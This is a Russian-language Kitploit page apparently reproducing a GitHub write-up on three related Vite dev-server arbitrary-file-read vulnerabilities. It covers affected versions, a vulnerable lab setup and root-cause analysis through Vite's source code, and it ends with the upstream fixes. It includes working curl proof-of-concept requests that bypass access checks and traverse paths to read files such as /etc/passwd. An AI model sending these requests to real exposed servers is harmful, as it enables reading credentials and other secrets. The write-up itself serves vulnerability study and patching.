Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-30208-Series — Анализ воспроизведения серии уязвимостей CVE-2025-30208 | Kitploit
Инструменты/GitHubGitHub/r0ngy40/cve-2025-30208-series
Статический анализАнализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийОбучение и Образование
GitHubr0ngy40/cve-2025-30208-series

CVE-2025-30208-Series

Анализ воспроизведения серии уязвимостей CVE-2025-30208

Репозиторий
321 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-30208 & CVE-2025-31125 & CVE-2025-31486

1. Обзор уязвимости

CVE-2025-30208, CVE-2025-31125 и CVE-2025-31486 — это уязвимость произвольного чтения файлов в сервере разработки Vite. Данная уязвимость позволяет злоумышленнику обойти контроль доступа с помощью определённых параметров URL и прочитать конфиденциальные файлы на сервере через модуль fs. Вышеупомянутые три уязвимости можно считать серией уязвимостей, поскольку причины их возникновения очень похожи.

CVE-2025-30208 затрагивает следующие версии:

root@kitploit:~
>=6.2.0, <=6.2.2
>=6.1.0, <=6.1.1
>=6.0.0, <=6.0.11
>=5.0.0, <=5.4.14
<=4.5.9

CVE-2025-31125 затрагивает следующие версии:

root@kitploit:~
>=6.2.0, <=6.2.3
>=6.1.0, <=6.1.2
>=6.0.0, <=6.0.12
>=5.0.0, <=5.4.15
<=4.5.10

CVE-2025-31486 затрагивает следующие версии:

root@kitploit:~
>=6.2.0, <=6.2.4
>=6.1.0, <=6.1.3
>=6.0.0, <=6.0.13
>=5.0.0, <=5.4.16
<=4.5.11

2 Настройка окружения

Чтобы с нуля создать уязвимое окружение на локальной машине, сначала создайте проект с помощью create-vite:

root@kitploit:~
npm create vite@latest vuln-env -y -- --template vue-ts
cd vuln-env

На этом этапе версия Vite в сгенерированном package.json может содержать символ ^ (например, "vite": "^6.2.0"); её необходимо вручную изменить на точный номер версии (например, "vite": "6.2.0"), а затем выполнить:

root@kitploit:~
npm install

Наконец, просто запустите окружение:

root@kitploit:~
npm run dev

Конечно, можно также напрямую использовать папку vuln-env из этого репозитория: после npm install просто выполните npm run dev.

3. Воспроизведение уязвимости

Для удобства все три уязвимости воспроизводились на версии 6.2.0. Выполните npm run dev и дождитесь запуска окружения.

POC для CVE-2025-30208:

root@kitploit:~
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&raw??"

curl "http://localhost:5173/@fs/c:/windows/win.ini?raw??" -H "sec-fetch-dest: script"

POC для CVE-2025-31125:

root@kitploit:~
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&inline=1.wasm?init"

curl "http:/localhost:5173/@fs/c:/windows/win.ini?inline=1.wasm?init" -H "sec-fetch-dest: script"

Прочитанное содержимое закодировано в base64; после декодирования можно получить исходное содержимое файла.

POC для CVE-2025-31486:

root@kitploit:~
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&?.svg?.wasm?init"

curl  "http://localhost:5173/@fs/c:/windows/win.ini?.svg?.wasm?init" -H "sec-fetch-dest: script"

POC для чтения через относительный путь, упомянутый в уведомлении, выглядит следующим образом:

root@kitploit:~
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'

x обозначает путь к локальному проекту; локальный тестовый POC выглядит следующим образом:

root@kitploit:~
curl "http://localhost:5173/@fs/D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/?/../../../../../../test.txt?import&?raw"

Можно заметить, что POC в основном делятся на два типа: те, которым не требуется добавлять HTTP Header, обязательно содержат ?import&. Пока оставим это без пояснений — объяснение будет дано на этапе анализа исходного кода.

4. Анализ исходного кода

4.1 CVE-2025-30208

Для анализа исходного кода требуется отладка; здесь проект отлаживается через VSCode. Содержимое файла launch.json следующее:

root@kitploit:~
{
    "version": "0.1.0",
    "configurations": [
      {
        "type": "node",
        "request": "launch",
        "name": "Debug Vite & Node Modules",
        "runtimeExecutable": "npm",
        "runtimeArgs": ["run", "dev"],
        "skipFiles": ["<node_internals>/**"],
      }
    ]
  }

Судя по официальному исправлению, было усилено условие if в функции transformMiddleware, которое проверяет формат URL и определяет, разрешён ли доступ к сервису. Поставим точку останова в функции transformMiddleware и проследим процесс разбора запроса.

Поскольку в созданном проекте есть только скомпилированные JS-файлы, просто выполним поиск ключевого слова функции по всем файлам и добавим точку останова.

Запустим POC — точка останова успешно сработала в целевой функции. Видно, что после присвоения некоторых переменных процесс вызова входит в функцию viteTransformMiddleware; после проверки того, является ли метод запроса GET и является ли запрос корневым каталогом или иконкой, URL через removeTimestampQuery теряет завершающий ?.

root@kitploit:~
/@fs/c:/windows/win.ini?import&raw??
                  ⬇
/@fs/c:/windows/win.ini?import&raw?

С помощью cleanUrl() получается URL без параметров запроса; в этот момент значением withoutQuery является "/@fs/c:/windows/win.ini", поэтому выполнение не входит в блок кода if (!isSourceMap). Затем с помощью publicDirInRoot проверяется, настроен ли каталог статических ресурсов в корне проекта, а url.startsWith(publicPath) проверяет, начинается ли запрошенный URL с настроенного публичного пути (например, /public/). Когда оба условия выполняются одновременно, вызывается warnAboutExplicitPublicPathInUrl(url) для выдачи предупреждения. Обычно это означает, что разработчик мог ошибочно добавить публичный путь повторно. URL не соответствует условиям, поэтому соответствующий блок кода также пропускается. Результаты rawRE.test(url) и urlRE.test(url) равны False, поэтому результат ensureServingAccess() не проверяется, а результат логического выражения сразу устанавливается в False, и блок кода пропускается. В следующей проверке if URL соответствует регулярному выражению, определённому ImportQueryRE, и входит в блок кода if; URL через функцию removeImportQuery() преобразуется в /@fs/c:/windows/win.ini?raw и передаётся в функцию transformRequest().

root@kitploit:~
/@fs/c:/windows/win.ini?import&raw?
                  ⬇
/@fs/c:/windows/win.ini?raw

В условии if, проверяющем isJSRequest(url), видно, что дополнительно проверяется, равно ли значение HTTP-заголовка sec-fetch-dest значению script; если да, то проверка также проходит. Именно поэтому, как упоминалось ранее, POC в основном делятся на два типа: добавление HTTP Header и ?import& — оба нужны для прохождения проверки if. (На самом деле пройти проверку можно и другими способами, например через isHTMLProxy(url) -> /@fs/c:/windows/win.ini?html-proxy&raw??)

После обработки параметров, проверки окружения, проверки ключа кэша и обнаружения повторных запросов выполнение входит в функцию doTransform​().

После проверки действительности кэша URL /@fs/c:/windows/win.ini?raw разбирается и получается ID c:/windows/win.ini?raw​, после чего выполнение входит в функцию loadAndTransform().

После аналогичных операций присваивания на основе значения id подключаются плагины. Порядок загрузки плагинов показан ниже:

root@kitploit:~
vite:optimized-deps
        ↓
vite:modulepreload-polyfill
        ↓
vite:resolve
        ↓
vite:html-inline-proxy
        ↓
vite:css
        ↓
vite:wasm-helper
        ↓
vite:worker
        ↓
vite:asset

Причина возникновения CVE-2025-30208 заключается в том, что специально сконструированный злоумышленником URL после разбора и обработки проходит проверку if (rawRE.test(id)) в плагине assetPlugin, а затем передаётся в функцию fsp.readFile(), что приводит к чтению локальных файлов.

4.2 CVE-2025-31125

Причина возникновения CVE-2025-31125 в том, что после разбора URL удовлетворяет условию id.endsWith(".wasm?init") в плагине wasmHelperPlugin, передаётся в функцию fileToUrl$1(), а после удовлетворения inlineRE$2.test(id) — в функцию fsp.readFile(), что приводит к чтению локальных файлов.

4.3 CVE-2025-31486

CVE-2025-31486 очень похожа на CVE-2025-31125. Из схемы анализа CVE-2025-31125 видно, что в функции fileToDevUrl() всего два оператора if с проверкой регулярных выражений: блок if с inlineRE$2.test(id) — это место срабатывания CVE-2025-31125, а следующий сразу за ним блок if с svgExtRE.test(id) — место срабатывания CVE-2025-31486.

А метод эксплуатации через относительный путь обходит проверку ensureServingAccess(). После того как URL входит в функцию isFileServingAllowed(), сначала cleanUrl() из fsPathFromUrl() удаляет ?# и всё, что идёт после него. Тогда с URL из POC произойдут следующие изменения:

root@kitploit:~
D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/?/../../../../../../test.txt
    
    ⬇

D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/

Затем URL проходит проверку в isUriFilePath() внутри isFileLoadingAllowed(), а после этого — проверку isParentDirectory().

5. Исправление уязвимости

5.1 CVE-2025-30208

Судя по исправляющему коммиту 262b5ec, официально принятый способ исправления заключается в удалении лишнего ? в конце параметра. Тогда при проверке if ((rawRE.test(...) || urlRE.test(...)) && !ensureServingAccess(...)) параметр благодаря успешному совпадению rawRE.test() сможет нормально войти в ensureServingAccess(), чтобы проверить, разрешён ли доступ к сервису. Это устраняет несанкционированное чтение, вызванное замыканием логического выражения до исправления.

5.2 CVE-2025-31125

Судя по исправляющему коммиту 5967313, официально было добавлено регулярное выражение inlineRE. Тогда ?inline=1.wasm?init будет сопоставлено с регулярным выражением и нормально войдёт в ensureServingAccess() для проверки, разрешён ли доступ к сервису.

5.3 CVE-2025-31486

Судя по исправляющему коммиту 62d7e81, официальное исправление в основном состоит из двух частей. Первая часть — добавление сопоставления с регулярным выражением svgRE для обработки обхода через .svg.

Вторая часть — для обработки чтения через относительный путь параметр id очищается и только затем передаётся в svgRe.test(), чтобы параметр, участвующий в проверке svgRe.test(), совпадал с параметром, участвующим в конкатенации file.

Скачать инструмент